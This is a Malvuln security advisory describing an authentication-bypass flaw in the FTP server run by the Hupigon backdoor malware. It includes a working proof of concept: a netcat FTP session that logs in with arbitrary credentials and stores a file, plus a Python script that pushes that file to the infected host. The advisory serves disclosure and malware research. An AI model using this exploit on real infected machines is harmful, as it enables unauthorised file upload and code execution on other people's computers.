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Backdoor.Win32.Hupigon.aejq Authentication Bypass / Code Execution

Backdoor.Win32.Hupigon.aejq Authentication Bypass / Code Execution
Posted Aug 31, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Hupigon.aejq malware suffers from bypass and code execution vulnerabilities.

tags | exploit, vulnerability, code execution
systems | windows
MD5 | 5dad3a4f5ae4950a7afef65689f3849e

Backdoor.Win32.Hupigon.aejq Authentication Bypass / Code Execution

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/2a366cea300b84b4e6f8204a8c229266.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hupigon.aejq
Vulnerability: Authentication Bypass RCE
Description: The malware runs an FTP server on TCP port 2121. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 2a366cea300b84b4e6f8204a8c229266
Vuln ID: MVID-2021-0329
Disclosure: 08/30/2021

Exploit/PoC:
nc64.exe 192.168.18.129 2121
220 Welcome To huigezi Ftp!
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,129,194,34).
STOR DOOM.js
150 Opening data connection for DOOM.js.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.129"
PORT=49698
DOOM="DOOM.js"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("By Malvuln");

if __name__=="__main__":
doit()



Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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